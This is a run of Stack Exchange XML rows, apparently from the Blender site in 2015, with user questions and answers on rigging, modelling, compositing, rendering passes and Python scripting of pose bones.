  <row Id="36061" PostTypeId="1" CreationDate="2015-08-20T02:31:33.737" Score="1" ViewCount="128" Body="&lt;p&gt;I am writing an export script to export a custom animation format. I need to export a bone's location, rotation, and scale, and easily obtained the location and scale information with no problems. But trying to get the rotation data, the Axis flip at the first and last frame, but they still animate fine in blender itself. This dose not matter if I use a script or just the python console in blender, regardless of rotation system. I am accessing the rotation via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Primary = bpy.context.active_object.parent.pose.bones['Primary']&#xA;loc, rot, scale = Primary.matrix.decompose()&#xA;rot = rot.to_euler()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my blend file that shows this behavior. &lt;a href=&quot;http://www.pasteall.org/blend/37681&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/37681&lt;/a&gt; and yes this script is for a Minecraft mod. The bone named &quot;Primary&quot; is the one in this file that exhibits this behavior. It will be used to track a Minecraft item to an animated rig.&lt;/p&gt;&#xA;" OwnerUserId="16555" LastEditorUserId="16555" LastEditDate="2015-08-21T00:14:25.027" LastActivityDate="2015-08-21T00:14:25.027" Title="Blender Python Axis swapping on PoseBone" Tags="&lt;python&gt;&lt;animation&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36062" PostTypeId="2" ParentId="36051" CreationDate="2015-08-20T02:39:11.767" Score="4" Body="&lt;p&gt;Start with a mesh-&gt;circle with a lot of vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ohorx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ohorx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Estrude and Scale:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EZvT6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZvT6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all of the edges/faces selected Press &lt;kbd&gt;I&lt;/kbd&gt; to activate the &lt;strong&gt;Inset&lt;/strong&gt; Tool and enable &lt;strong&gt;Indivdual&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By controling thethickness and depth you should be able to get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RWYNB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RWYNB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xRvKz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xRvKz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yerlu.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yerlu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smooth and subsurf:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kBJng.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kBJng.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-20T02:39:11.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36064" PostTypeId="2" ParentId="35193" CreationDate="2015-08-20T03:01:02.477" Score="13" Body="&lt;p&gt;Blender now has a tool to make faces flat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the 3D view header menu:&lt;br&gt;&lt;strong&gt;Mesh -&gt; Cleanup -&gt; Make Planar Faces&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This iteratively flattens faces, you can choose how much to move the vertices each iteration too.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-08-23T01:52:07.910" LastActivityDate="2017-08-23T01:52:07.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36065" PostTypeId="1" AcceptedAnswerId="36068" CreationDate="2015-08-20T03:02:36.353" Score="1" ViewCount="188" Body="&lt;p&gt;I use a plane on a different render layer to mask out the character.  The result comes out quite nice:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2KUOF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2KUOF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXCEPT for the mask for the eye glowing effect (I duplicate the eye mesh to a different object on a different layer in order to have only the eye glowing, not with the armor (got a glossy shader) glowing too). As you can see, half the eye is still visible despite of I masked that out. It works for the glowing part, though:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jbp1Y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbp1Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's come the blend. file: &#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/427/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=427&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16261" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-20T03:30:07.417" Title="Able to mask out the eye but the glowing part of it" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36067" PostTypeId="1" AcceptedAnswerId="36077" CreationDate="2015-08-20T03:19:19.923" Score="1" ViewCount="38" Body="&lt;p&gt;What's even the point of baking? I want to learn it because I've been told it can help me with my issue. I want to make my mesh appear subdivided, but that would bring it over 100,000 faces.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-08-20T10:39:02.440" Title="Step-by-step to baking a model for export, so that it looks smooth but doesn't have all the faces of a subdivided mesh" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36068" PostTypeId="2" ParentId="36065" CreationDate="2015-08-20T03:23:32.693" Score="1" Body="&lt;p&gt;In your node group change the way the matte is mixed with the glow. You want to add black to the matte in the shape of the plane:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WZRqD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZRqD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then add the result to the rest:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F42Wz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F42Wz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/428/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=428&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-20T03:30:07.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36069" PostTypeId="1" CreationDate="2015-08-20T06:36:02.173" Score="4" ViewCount="539" Body="&lt;p&gt;I've imported an obj file of Comet 67P &lt;a href=&quot;http://imagearchives.esac.esa.int/index.php?/page/navcam_3d_models&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (newly released) and found it has over 4 million polygons. I'd like to reduce that number, but using somewhat &quot;scientific&quot; method/strategy using an algorithm I understand. For example - I would want to avoid alter heights or shadow positions, volume, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blogs.esa.int/rosetta/2015/08/13/a-shape-model-whats-that/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt;, &lt;a href=&quot;http://sci.esa.int/rosetta/56293-year-at-a-comet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, and &lt;a href=&quot;https://en.wikipedia.org/wiki/67P/Churyumov%E2%80%93Gerasimenko&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; link are also helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of &quot;&lt;em&gt;Just use decimate&lt;/em&gt;&quot;, could I have &lt;strong&gt;a strategy, or some ideas how to approach&lt;/strong&gt; creating an algorithm which reduces the polygons - by a factor of say between 2 and 10, which maintains peaks, valleys, volume, etc. Maybe something like a &quot;it's pretty flat around here&quot; detector?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - monkey added for scale reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C1pY2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C1pY2.png&quot; alt=&quot;Suzanne on Comet 67P&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VcSS2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VcSS2.png&quot; alt=&quot;Comet mesh zoom&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JVJC9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JVJC9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="15366" LastEditDate="2015-08-20T10:39:46.307" LastActivityDate="2015-08-20T10:39:46.307" Title="Strategy to reduce polygon count of Comet 67P shape model using python" Tags="&lt;python&gt;&lt;mesh&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36070" PostTypeId="2" ParentId="36069" CreationDate="2015-08-20T06:44:15.460" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ApzVWuPa4A4&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=ApzVWuPa4A4&lt;/a&gt; &#xA;Try creating a normal map out of the high poly comet. The above tutorial teaches how to do this, so far i only thinks this works in blender render unless someone else knows how to make it work in cycles (if that's what you want to use). Basically use the decimate to to remove polys from your mesh then add the normal map to create the illusion of all the valleys etc. Watch the video to understand what i mean/&lt;/p&gt;&#xA;" OwnerUserId="15754" LastActivityDate="2015-08-20T06:44:15.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36071" PostTypeId="2" ParentId="36049" CreationDate="2015-08-20T06:52:47.603" Score="1" Body="&lt;p&gt;The only answers I know for this is by clicking (&lt;kbd&gt;NumPad 6&lt;/kbd&gt;) to rotate clockwise and (&lt;kbd&gt;NumPad 4&lt;/kbd&gt;) to rotate anti-clockwise.&lt;/p&gt;&#xA;" OwnerUserId="15754" LastEditorUserId="3401" LastEditDate="2016-01-17T19:52:33.420" LastActivityDate="2016-01-17T19:52:33.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36072" PostTypeId="1" AcceptedAnswerId="36089" CreationDate="2015-08-20T07:08:06.403" Score="6" ViewCount="716" Body="&lt;p&gt;So I have a single-frame project and want to send it to a renderfarm that does not support OpenEXR or compositing (SheepIt). &#xA;Can I simply do a 1 sample pass on my computer and still get high accuracy compositing passes like Z-Buffer, Object ID and so on, to combine them later with the renderfarm result?&lt;/p&gt;&#xA;" OwnerUserId="16420" LastEditorUserId="16420" LastEditDate="2015-08-20T07:16:00.407" LastActivityDate="2015-08-20T15:22:41.273" Title="Is Z-Render Pass accuracy dependent on sample count? Are others like object id? (Cycles)" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;render-passes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36073" PostTypeId="2" ParentId="36059" CreationDate="2015-08-20T07:12:21.003" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Create a new material&lt;/li&gt;&#xA;&lt;li&gt;Create a new texture&lt;/li&gt;&#xA;&lt;li&gt;Now set your Type: to Image or Movie, Open up your Image then set your coordinates (under mapping) to UV&lt;/li&gt;&#xA;&lt;li&gt;Lastly UV unwrap your mesh, unless it's already unwrapped then that's fine.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qU6UM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qU6UM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kQsUm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kQsUm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15754" LastActivityDate="2015-08-20T07:12:21.003" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36075" PostTypeId="2" ParentId="35889" CreationDate="2015-08-20T08:42:39.380" Score="1" Body="&lt;p&gt;OK, I could eventually solve this. Seems with a camera at 50mm focal length artifacts occur. Set focal to 100mm and moved camera, no more artifacts.&lt;/p&gt;&#xA;" OwnerUserId="16488" LastActivityDate="2015-08-20T08:42:39.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36076" PostTypeId="1" AcceptedAnswerId="36079" CreationDate="2015-08-20T10:12:25.243" Score="0" ViewCount="819" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yu1RQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yu1RQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm not good at blender and you can see that. My problem is that I added a control like jump and whenever I press spacebar the character does not go back to the floor. If this is related to physics I tried some but I can't seem to find the right one and for a character where should I put the physics armature or the main character? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also when I use some physics it makes my character fly or go up nonstop&lt;/p&gt;&#xA;" OwnerUserId="2022" LastEditorUserId="13395" LastEditDate="2015-08-21T09:28:20.110" LastActivityDate="2015-08-21T09:28:20.110" Title="Character motion jump" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36077" PostTypeId="2" ParentId="36067" CreationDate="2015-08-20T10:39:02.440" Score="0" Body="&lt;p&gt;Baking can be used to create the image texture for example a character. It can also be used to create normal maps. The below video teaches how to remove faces from a high poly mesh but still keep the detail in it by simply adding a normal.&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=ApzVWuPa4A4&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=ApzVWuPa4A4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15754" LastActivityDate="2015-08-20T10:39:02.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36079" PostTypeId="2" ParentId="36076" CreationDate="2015-08-20T12:02:16.160" Score="0" Body="&lt;p&gt;From what I've seen online the method usually followed by the character is the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a small cube. Fix its size to be almost from the feet to the knees of the character.Then make the lowest part of the cube to be in the same height with your character's feet.&lt;/li&gt;&#xA;&lt;li&gt;Add every motion SCAs to that cube. Only add animations to your character. So the cube will decide where you go and the character when to play the walking/jumping animations.&lt;/li&gt;&#xA;&lt;li&gt;Set the cube's physics to &quot;character&quot; or &quot;dynamic&quot; or what suits you. Gravity will automatically affect it then.&lt;/li&gt;&#xA;&lt;li&gt;Last don't forget to parent everything to your cube.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tip: In order to remember which to select first for parenting think this. When a ship goes down, you pick the children first and then the parents. So the last thing you select is a parent. Read that somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Forgot about the bones's physics. Set that to no collision if you don't want it to interact with stuff. Also I think that the parent's physics would overwrite the childrens's. So even if bones was dynamic nothing would make them move differently. &lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-20T12:02:16.160" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="36080" PostTypeId="1" CreationDate="2015-08-20T12:20:21.560" Score="13" ViewCount="2023" Body="&lt;p&gt;I'm trying to model a turtle's shell. I wonder how I can start with a Circle and create the shell?&lt;/p&gt;&#xA;" OwnerUserId="14023" LastEditorUserId="2217" LastEditDate="2015-08-20T19:22:45.283" LastActivityDate="2016-10-12T09:02:30.713" Title="How to model a turtle's shell starting from a circle/ using a circle?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36081" PostTypeId="1" CreationDate="2015-08-20T13:19:04.430" Score="1" ViewCount="235" Body="&lt;p&gt;I have bad moving parts in posemode.Take a look at the picture,when in pose mode the panty is not moving with body.all the meshes are perfect but both thighs bones are not working good&#xA;here is a link &lt;a href=&quot;http://sta.sh/01frq6ke1cns&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sta.sh/01frq6ke1cns&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IZC4k.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IZC4k.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15640" LastEditorUserId="15640" LastEditDate="2015-08-20T13:41:07.830" LastActivityDate="2015-08-20T16:49:21.777" Title="How to fix bad moving parts?" Tags="&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36082" PostTypeId="1" CreationDate="2015-08-20T13:32:15.177" Score="1" ViewCount="54" Body="&lt;p&gt;I need to be able to animate and rotate my mask, and therefore i want to use the layermask, however it should only mask out the layer right under it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i want layer 1 to mask out layer 2, and not touch layer 3.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2015-08-20T13:32:15.177" Title="if i have layer 1, 2 and 3, how do i user layer 1 to mask out only layer two using layer mask" Tags="&lt;render-layers&gt;&lt;masking&gt;&lt;layers&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36083" PostTypeId="2" ParentId="36081" CreationDate="2015-08-20T13:36:22.057" Score="1" Body="&lt;p&gt;You have to select the bone you want the panties to be parented to then go to Weight paint mode ((shortcut) &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; in object mode) and weight paint them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See if it works now: &lt;a href=&quot;http://www.filedropper.com/kok2&quot; rel=&quot;nofollow&quot;&gt;http://www.filedropper.com/kok2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-08-20T16:49:21.777" LastActivityDate="2015-08-20T16:49:21.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36084" PostTypeId="2" ParentId="36080" CreationDate="2015-08-20T13:38:58.230" Score="31" Body="&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Circle&lt;/em&gt;&lt;/strong&gt; and set its vertices number to &lt;strong&gt;&lt;em&gt;10&lt;/em&gt;&lt;/strong&gt;. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/jitTK.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jitTK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale and rotate it to fit the picture using &lt;em&gt;snapping tool&lt;/em&gt; (click on a magnet icon and set its type to &lt;em&gt;Increment&lt;/em&gt;). Hold down &lt;kbd&gt;Shift&lt;/kbd&gt; while rotating to do it precisely. [In this case i rotated a circle 18 degress]. Being in &lt;em&gt;Edit Mode&lt;/em&gt; select the whole circle (&lt;kbd&gt;A&lt;/kbd&gt;), then pres &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;--&gt;Subdivide&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XYL3Z.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XYL3Z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete one half of a mesh and give it a &lt;em&gt;Mirror Modifier&lt;/em&gt;. Extrude the vertices to fit the reference image. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/S8IoJ.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S8IoJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apply a &lt;em&gt;Mirror Modifier&lt;/em&gt; and then add a &lt;em&gt;Subsurf Modifier&lt;/em&gt;. Select the outer edges and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; (with a cursor snapped to an origin point) to make them spherical.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fWTly.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fWTly.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now set the pivot point to &lt;em&gt;Individual Origins&lt;/em&gt;. Select the faces as pictured below, then press &lt;kbd&gt;I&lt;/kbd&gt; and &lt;kbd&gt;I&lt;/kbd&gt; again to inset the individual faces. Repeat the process with other faces.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6KzN7.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6KzN7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the edges as pictured below, press &lt;kbd&gt;G&lt;/kbd&gt; then &lt;kbd&gt;Z&lt;/kbd&gt;. Select all edges and sharpen them using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; shortcut.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rPsTH.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rPsTH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a proper shape using &lt;strong&gt;&lt;em&gt;Lattice Modifier&lt;/em&gt;&lt;/strong&gt; and &lt;em&gt;proportional editing&lt;/em&gt;. Give it some thickness using &lt;strong&gt;&lt;em&gt;Solidify Modifier&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7nK3S.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7nK3S.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pOZkK.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pOZkK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-20T15:13:50.610" LastActivityDate="2015-08-20T15:13:50.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36085" PostTypeId="1" AcceptedAnswerId="36180" CreationDate="2015-08-20T14:12:17.943" Score="1" ViewCount="57" Body="&lt;p&gt;I have a student who when trying to skin her creature, it looks like this. I am not sure why one half of it can be skinned while the other half can't get selected. Any help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/37658&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/37658&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2015-08-22T03:29:03.500" Title="Why does my creature look like this when I try to skin it?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36087" PostTypeId="1" CreationDate="2015-08-20T14:20:56.857" Score="0" ViewCount="11" Body="&lt;p&gt;I've been trying to create some new moves for my creature and I created a new action for it. After clearing all the frames, some of the frames are still yellow (left-down corner frame numbers) and the foot is moving in an odd way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can' t understand what is this.. &lt;/p&gt;&#xA;" OwnerUserId="16148" LastActivityDate="2015-08-20T14:20:56.857" Title="Rig moving after clearing all frames" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36089" PostTypeId="2" ParentId="36072" CreationDate="2015-08-20T15:16:08.193" Score="5" Body="&lt;p&gt;No, &lt;em&gt;Z pass&lt;/em&gt;, &lt;em&gt;ObjectID&lt;/em&gt; and alike are not dependent on Cycles render samples. Their visual output will always be the same like rendered with 1 sample - so not nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's better to obtain them in Cycles with a different method - &lt;em&gt;Z pass&lt;/em&gt; with &lt;em&gt;Mist pass&lt;/em&gt; or &lt;em&gt;Ray-depth shaders&lt;/em&gt;, &lt;em&gt;ID-masks&lt;/em&gt; with random-colored shadeless materials for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or get them from Blender Internal (you want to use &lt;em&gt;Full Sample&lt;/em&gt; there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a little table what is (green) and is not (red) dependent on render samples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FWE4u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-08-20T15:22:41.273" LastActivityDate="2015-08-20T15:22:41.273" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36090" PostTypeId="1" CreationDate="2015-08-20T15:30:22.227" Score="0" ViewCount="85" Body="&lt;p&gt;I rendered an animation and I have this issue: the material colour in the render doesn't animate as it does in the viewport. As you can see on the picture, the eyes are black with a turquoise middle - 2 materials black and turquoise (turquoise below in the stack assigned to only some faces). This middle part I animated, I put keyframes in the beginning and end of the animation, so it gradually lights up and dims out, keyframes on the color value. But in the render this middle part is ON the whole time, it doesn't animate in and out. What could be wrong with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I noticed, that this turquoise middle is rendered sort of as a post effect. While rendering I can observe that the eyes are rendered black, and only after a moment they are filled with the blue color. What is happening here? As if it's rendered in a layer on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender Internal 2.75a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xS93U.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xS93U.png&quot; alt=&quot;Robot&amp;#39;s Eyes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16239" LastActivityDate="2015-08-20T15:30:22.227" Title="Material colour not animating" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
